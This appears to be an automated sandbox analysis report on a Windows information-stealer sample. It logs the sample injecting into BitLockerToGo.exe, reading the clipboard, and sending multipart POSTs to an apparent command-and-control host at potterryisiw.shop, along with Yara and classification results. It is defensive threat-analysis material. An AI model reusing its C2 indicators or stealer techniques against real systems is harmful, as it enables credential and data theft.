Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7088Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1283Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585978Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: potterryisiw.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: willingyhollowsk.shop
Source: global traffic	DNS traffic detected: DNS query: potterryisiw.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: potterryisiw.shop

Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	String found in binary or memory: https://github.com/gabomdq/SDL_GameControllerDB
Source: BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/
Source: BitLockerToGo.exe, 00000002.00000003.1874159384.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/5
Source: BitLockerToGo.exe, 00000002.00000003.1977800245.0000000002A3D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1978249283.0000000002A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/L
Source: BitLockerToGo.exe, 00000002.00000003.1874159384.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/Ua3
Source: BitLockerToGo.exe, 00000002.00000003.1977675505.0000000002A23000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1977584516.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/api
Source: BitLockerToGo.exe, 00000002.00000003.1954241985.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1978295733.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1954745771.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1977584516.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/api9
Source: BitLockerToGo.exe, 00000002.00000003.1874159384.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/apiRF2
Source: BitLockerToGo.exe, 00000002.00000003.1935300433.0000000002A83000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1935317283.0000000002A88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/apip
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/apit
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/l
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://potterryisiw.shop/s.j
Source: BitLockerToGo.exe, 00000002.00000003.1874360666.0000000004BFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000002.00000003.1874360666.0000000004BFD000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874424086.0000000004BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000002.00000003.1874424086.0000000004BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 00000002.00000003.1874360666.0000000004BFD000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874424086.0000000004BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000002.00000003.1874424086.0000000004BD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BitLockerToGo.exe, 00000002.00000003.1915757668.0000000002A98000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1918253983.0000000002A9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_02460030 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_02460030

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_02460030 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_02460030

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Binary or memory string: procDirectInput8Create

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Binary or memory string: qdestination-outwglGetCurrentDCDragAcceptFilesCreateWindowExWGetActiveWindowGetDpiForWindowGetRawInputDataTrackMouseEventWindowFromPointGetThreadContextSetThreadContext0123456789abcdef: value of type time: bad [0-9]*DuplicateTokenExOpenProcessTokenRegQueryInfo

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000003.1758162937.000000C000918000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02448349	2_2_02448349
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_024526F0	2_2_024526F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_024534B0	2_2_024534B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02465E20	2_2_02465E20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02434E30	2_2_02434E30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02450E98	2_2_02450E98
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02451C99	2_2_02451C99
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02438280	2_2_02438280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0245901A	2_2_0245901A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0246C020	2_2_0246C020
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02454148	2_2_02454148
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02440170	2_2_02440170
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0244C110	2_2_0244C110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_024366B0	2_2_024366B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0246D710	2_2_0246D710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02465460	2_2_02465460
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0246D400	2_2_0246D400
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02434430	2_2_02434430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02468580	2_2_02468580
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02433A30	2_2_02433A30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02453AD9	2_2_02453AD9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0246BB50	2_2_0246BB50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02456B70	2_2_02456B70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02436BE0	2_2_02436BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02435940	2_2_02435940
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0245D98C	2_2_0245D98C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02438ED0	2_2_02438ED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02431EF0	2_2_02431EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02452EF0	2_2_02452EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0245AFE8	2_2_0245AFE8

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02439450 appears 168 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 02438CB0 appears 45 times

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Static PE information: Number of sections : 12 > 10

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835322453.0000018422360000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835355851.0000018422320000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1846140099.000000C000604000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000000.1665835033.00007FF6168BE000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameChromePasswordRemover.exeDVarFileInfo$ vs SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1845670772.000000C00048E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Binary or memory string: OriginalFilenameChromePasswordRemover.exeDVarFileInfo$ vs SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Source: 00000000.00000003.1758162937.000000C000918000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@2/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0245F96C CoCreateInstance,

2_2_0245F96C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

File created: C:\Users\Public\Libraries\bjpho.scif

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

File opened: C:\Windows\system32\036f5f8dea613b0027436017add971b5e0c0879687148b7bd16a4045477c6552AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

ReversingLabs: Detection: 42%

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	String found in binary or memory: net/addrselect.go
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	String found in binary or memory: github.com/saferwall/pe@v1.4.8/loadconfig.go

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
